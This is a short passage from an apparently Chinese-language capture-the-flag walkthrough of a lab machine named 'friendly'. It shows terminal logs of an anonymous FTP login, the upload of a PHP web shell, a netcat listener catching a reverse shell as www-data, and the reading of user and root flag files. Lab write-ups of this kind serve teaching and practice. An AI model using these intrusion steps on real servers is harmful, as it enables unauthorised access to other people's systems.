┌──(root㉿kali)-[/usr/share/laudanum/php] └─# ftp 192.168.56.131 Connected to 192.168.56.131. 220 ProFTPD Server (friendly) [::ffff:192.168.56.131] Name (192.168.56.131:ace): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files. ftp>
上传shell:
1 2 3 4 5 6 7 8
ftp> put rece.php local: rece.php remote: rece.php 229 Entering Extended Passive Mode (|||57118|) 150 Opening BINARY mode data connection for rece.php 100% |*****************************************************************************************************| 549621.74 MiB/s 00:00 ETA 226 Transfer complete 5496 bytes sent in00:00 (2.16 MiB/s) ftp>
┌──(root㉿kali)-[/home/ace] └─# nc -lvnp 1234 listening on [any] 1234 ... connect to [192.168.56.127] from (UNKNOWN) [192.168.56.131] 54870 Linux friendly 5.10.0-21-amd64#1 SMP Debian 5.10.162-1 (2023-01-21) x86_64 GNU/Linux 02:40:36 up 41 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
得到user.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
/bin/sh: 0: can't access tty; job control turned off $ pwd / $ cd home $ ls RiJaba1 $ cd RiJaba1 $ ls CTF Private YouTube user.txt $ cat user.txt b8cff8c9008e1c98a1f2937b4475acd6 $
4.sudo提权:
1 2 3 4 5 6 7 8
find /-name root.txt find: '/-name': No such file or directory root.txt find / -name root.txt /var/log/apache2/root.txt /root/root.txt cat /var/log/apache2/root.txt 66b5c58f3e83aff307441714d3e28d2f